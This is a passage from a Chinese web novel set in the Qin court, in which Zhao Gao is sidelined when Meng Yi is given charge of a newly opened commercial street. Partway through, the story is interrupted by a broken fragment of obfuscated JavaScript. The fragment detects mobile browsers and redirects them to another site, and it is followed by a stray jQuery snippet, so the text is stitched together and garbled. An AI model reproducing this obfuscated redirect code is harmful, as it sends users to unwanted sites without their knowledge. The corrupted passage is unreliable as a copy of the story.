嬴政看着碎掉的第十三只茶盏,略感无语:“寡人下个月还有茶盏可用吗?”
“自然是有的!”蒙毅陪笑,“臣亲自去烧茶盏赔您。”
嬴政挥手,示意他赶紧有多远走多远。
哎。
嬴政大叹气。
这换了一波又一波的奴才,没一个有赵高贴心,能懂自己喝几分烫的水,又能懂什么时候该说什么话。
赵高这人……
哎!
嬴政已经被折腾得没了脾气,甚至还考虑过要不要把赵高弄残弄哑,再调回来继续伺候他。
干了一天活儿,天一黑就爬上床陷入熟睡中的赵高背后发凉,于睡梦中左右摇晃,将被子角压到了身下。
“嘿嘿……王上……”
梦中,他一人之下万人之上,和国师同进同出,互为好友,广受众人尊敬与爱戴。
“阿嚏。”
远在千里之外的鹿尧打了个喷嚏,连云拿起斗篷就往她身上套。
“奴早说了夜里寒凉,您非要为了什么人设不穿衣服,瞧,现在着凉了?”她嗔怪着,又将早早备好的手炉塞到了鹿尧怀里。
鹿尧心里暖,身上更暖,但对于连云的话她打了个问号。
“我觉着我不是冷的,是有阴险小人在背后念叨我。”
连云心里咯噔一下:“那您能算到这个小人是谁吗,奴去解决了他!”
鹿尧随口道:“我猜是赵高。”
“赵高?”
“赵大人?”
连云连月对视一眼。
“对,除了他,我想不到还有谁对我这个典雅高贵、大气美丽的女子有意见了。”鹿尧嘀咕,“说不准现在他就在给我的商业街使坏呢。”
“回去你俩可要帮我好好验收商业街。”
“是。”
鹿尧并不知晓,就是因为她今夜随口的一句怀疑,使得赵高喝了三年的慢性毒药,几欲丧命。
此时她正在琢磨自己方才带着莲花灯的表演有没有露馅之处。
“国师大人!”
抬头看见一双闪着星星的眼睛,鹿尧便知道,稳了。
李信追过来,就看见被调成小狗的王贲正围着主人转圈圈看她身上的莲花灯究竟有何奥秘。
31. 第31章
商业街正式开业那一天,城内张灯结彩,锣鼓喧天。
赵高手中拿着锣,敲得震天动地。
虽然一个音也没敲到节奏点儿上,但胜在卖力。
许多秦民围在路口,看着面前被遮掩的严严实实的红布,眼里的困惑几乎化成了实质。
“前段时间还看到军爷们进出这里,怎么今儿给封了起来?”
“这大红布,这奏乐,哪儿有一点儿被封的模样,你不知道就不要瞎讲。”用红绳扎着右髻的商贩撂下担子,从怀里取出一个长条,“您们打眼瞧清楚了,这是王上特设的商业街,专供咱们交易货品,买卖东西的地儿!”
他将那长条打开,一排看不懂的文字显露出来。
有识字的上前,仔细看了看那横平竖直的字儿,嘲笑道:“你这哪儿是字?要唬人去别处唬去。”
“我这哪儿不是字了?”那商贩气急败坏,往大家面前举着字儿,“这是国师亲写之字,你要是不信可以问问那边的军爷,这可是前日军爷上门,送到我手里去的。”
大家顺着他指的方向看去,巡卫手握缨枪,目不斜视,步伐统一的走来。
“哎呀,你算了吧,你别为了骗点儿钱把小命搭进去了……”那识字的嘴上劝着,心里却觉得这商贩完全是知道大家不敢上前去询问才这么大胆,然而他话还没说完,就瞧见这商贩拿着那字儿就上前了。
“诶,你这人怎么还越说越上头呢,快拦住他!”周围人惊讶,忙上前拦他,“我们信你了,信你了,别去找死了。”
“松开我,我要和你们证明,我没骗人!”商贩高高举着手朝巡卫挥手,见拦自己的人越来越多,他急得都跳了起来。
心地善良的人往下拽着他:“你是饿了吗,我家里还有点儿吃的,快回来!”
“你——”
“军爷,军爷!”商贩大喊大叫之声终于招引到了巡卫注意。
领头的人和身后排队的巡卫低声说了几句话,便快步而来,上下打量了一眼叫喊的人,又扫视周边团团围住他的人,声音雄厚有力问道:“你是被人打了吗?”
商贩低头一看,才发现自己的衣服被人拽裂开了,现在整个半个胳膊和肚子都露在外面。
他憋红了脸,摆手道:“没有没有,我们没有打架斗殴。”
巡卫瞧见了他手里的纸张,眼神十分诧异:“你竟然有商业街的试用入驻券,国师大人规定过,只有信用良好,买卖东西从不缺斤少两的商贩才能得到入驻券。”
“你在这儿等着吧,剪彩仪式之后就能进去了。”巡卫态度极为微妙的发生了转变,似乎带着些许的尊敬。
周围人看的心中称奇,左看右看也不敢当着巡卫的面儿问出来。
等巡卫离开三五步,那商贩撸起袖子,再度举起手中的入驻券,昂着头十分骄傲道:“这下你们不怀疑了吧?”
“你是什么时候获得这入……入驻券的?”同样靠卖点小东西养家糊口的商贩立刻围了上来,两眼放光的盯着他手里的小卡纸,“你能把这个券卖给我吗?”
他家里还有很多布料没有卖出去,若是得到军爷的认可,能入驻商业街,一定会很快就卖出去吧!
然而还不等他畅想多久,就被对方打断了:“军爷说过这东西只能本人使用,等试用期过后可以去找那什么,那个……商业街服务中心,去那里租地方卖。”
“诶,你这扁担里卖的是什么,能给我看看吗?”
“你们不要乱翻,这是我特意拿过来售卖的东西,你们别翻呀!”眼见越来越多的人围上来,商贩急了,挑起担子就往商业街最前方挤了。
赵高一眼就瞧见了这个无头苍蝇一般乱窜的人,气的直敲锣:“喂喂,还看别人?说的就是你,过来这边排队,不要乱走,等下把队伍搞乱了就回收你的入驻券!”
等队伍重新恢复秩序,所有人都排队站在右侧,围观的百姓们探头探脑,成群结队的往商业街这儿赶过来时,赵高将锣递给了身侧的人,擦了擦脸和手,收拾了一下自己,快步往剪彩仪式中心走去。
赵高昂首阔步,面上带着无比和煦的微笑,在万众瞩目下走到了正中心,抬手和围观的人打招呼。
放下手后,赵高视线精准的锁定到了那把在阳光下闪闪发光的剪刀了。
这剪彩仪式他看了十数遍,流程早就烂熟于心。
赵高嘴角不可抑制的扬了起来,探手去接巡卫递过来的剪刀。
“蒙毅大人,您请。”
赵高面上的微笑僵住,眼睁睁看着巡卫谄媚笑着将剪刀从自己手边呈过,递给了自己身后的人。
蒙毅从赵高身后出现,他瞥了眼赵高还伸着的手,假装不知道他是什么意思,往前走了两步,站到他右侧,伸出和赵高相反的手握住他。
“哎呦,还得是赵大人,这在宫外的消息也是很灵通啊。”
赵高忍住了黑脸的冲动,强行挤出来了一个笑脸:“不知蒙大人此话何意?”
蒙毅听得后槽牙一阵疼,他清了清嗓子,摇着两人交握的双手道:“这是现在宫中最流行的礼节,是我从福昌院的博士们那儿学来的,赵大人的消息要是不灵通,怎么知道握手礼呢?”
只是想拿剪刀的赵高假笑点头,是,他是消息灵通。
蒙毅深知赵高记仇的性子,知道他一有机会就会报复欺辱过他的人,于是为自己解释了一两句:“这是王上的命令。”
“王上说,以后商业街由我管理。”
由、蒙、毅、管、理……
赵高喉间涌上一股铁锈味,他艰难地咽了下去,借着拱手恭喜的姿势甩开了蒙毅的手:“蒙大人辛苦。”
“不辛苦,给王上办事儿是应当的。”蒙毅笑呵呵地接过剪刀,“既然你也来了,咱们就一起参加剪彩仪式吧。”
赵高皮笑肉不笑地转过身,看着面前拥挤着往前哄闹的百姓,怒火噌噌地往上涨。
“巡卫呢,都站着干嘛呢,不知道去维持秩序吗,王上派了新的管事儿的来,你们就松懈了?”
“他们再吵嚷、不听指挥乱跑,就都别想好!”
蒙毅原本还想给赵高一个台阶下,一起见证商业街的第一次剪彩,可现在他却拿他的手下撒气……
不待巡卫有所动作,蒙毅阴阳怪气招手唤人:“快,来人,赵大人脸色怎么这么红,该不会是晕厥之兆吧?快扶着赵大人下去休息。”
“今儿是大喜日子,可不能让小事儿给搞得晦气了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645903|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>赵高一听这话,没病也给气的喘不过气来,急得满脸通红了。
你才晦气,你全家都晦气!
在百姓们凑热闹,不明所以的目光下,蒙毅用剪刀剪断了红绸缎,在敲锣打鼓声中摘下了将街道遮的严严实实的红布。
一道铺着红砖,平整宽阔的街道骤然展现在众人眼前。
街道两侧的商铺鳞次栉比,清一色的朱红木门配着雕花窗棂,门楣上挂着招牌,字迹一如方才那些商贩手中拿的入驻券,虽然并不认得具体是什么字,但也能让众人看出庄重雅致。
且各户门前都摆着两大丛金灿灿的干草,干草里面插着红艳艳的花,阳光洒在干草上泛着温暖的光泽,红绿金三色相映,把整条街衬得既接地气又鲜活热闹。
这也是蒙毅第一次看到街道全景,震撼无比。
“这打扫的也太干净了,地面上连一粒尘土都没有吧!”蒙毅蹲下身,不顾形象的用手摸了一把地面,然后放到自己眼前仔细观察。
围观的百姓们也齐齐傻眼,呆站在原地看着面前恍若皇宫的地方。
“军爷,你确定这是我们能进去的地方吗?”拿着入驻券的商贩小心翼翼询问巡卫。
“当然可以。”巡卫在商业街尚未建成时就开始接受培训,在公子亲自考核之后才被选中,跟着蒙毅大人一起来到这里管理商业街。
“你们手里的入驻券都有号码,五人一队,各自跟随一个巡卫,我们会告诉你们这里的规定和行为准则。”巡卫点了自己管理的序号1~5,一同向内里走着。
路过蒙毅时,他拱手行礼,商贩们也忙弯腰。
等到了店铺正面前,他们都瞪圆了眼睛张大了嘴巴。
“这,这房间都收拾好了?”序号为1的人抑制不住激动的情绪,冲进了房间内部,左右摸着,“这是台面,这是存货的地方,天啊,竟然还有休息喝茶的地方!”
巡卫不仅没有阻止他,还示意其他四位入内详看。
“这喝茶休息的地方是给上门的客人的,不是给你们。”巡卫指了指柜台下面的地方,“这儿是让你们中午短暂休息的地方,铺个垫子就差不多了。”
3号是个大胖子,他顺势躺了下去,前后和上面的空余足够再躺下两个他:“天啊,这地方比我家那木板床还宽敞!”
巡卫看着他们四处看完了,新奇完了,才详细道:“入驻券只有二十天的使用时间,二十天之内分文不收钱,二十天结束后,你们想再住下去就要去街道中心的管理处续费,至于租金,你们收入的二十分之一即可。”
五个商贩算着价格,若是遇到生意惨淡的时候,租金怕是都拿不出一个铜板出来……
这对他们来说可是大好事儿啊!
不过不管怎么样,先把这免费的二十天住了再说!
整条商业街的商贩心里活动差不多都是这个想法,眼巴巴等着巡卫赶紧宣布规则,听完规则他们就要放货,收拾自己的小店铺了。
李三叶搓着手,着急的捂着自己的包裹,家里前日死了牛,正愁杀了牛怎么售卖呢,就有军爷敲门送上这商业街的入驻券。
本来是想着军爷给的,不来不行,可到了这儿,真正看到了商业街,他心底生出了一丝希望——